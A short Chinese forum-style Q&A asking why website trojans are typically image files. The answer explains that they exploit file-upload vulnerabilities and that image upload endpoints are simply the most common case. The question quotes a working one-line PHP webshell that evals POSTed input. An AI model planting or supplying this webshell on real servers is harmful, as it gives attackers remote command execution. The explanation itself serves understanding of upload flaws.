为什么网站木马都是图片？只能是图片木马吗？

Question

一句话木马
<?php eval($_POST[cmd])?>');?>

Answer 1

先问是不是，再问为什么。
使用这种木马网站实施渗透的先决条件是目标网站有文件上传漏洞，而一般网站对图片文件的需求最多：头像、背景、花纹……所以同类漏洞中，图片接口所致占比最高(其实我也只见过图片木马23333333)，讲解这一漏洞的人也乐意用图片作例子。
但也仅仅是占比最高，还没到所谓“都是图片”的程度。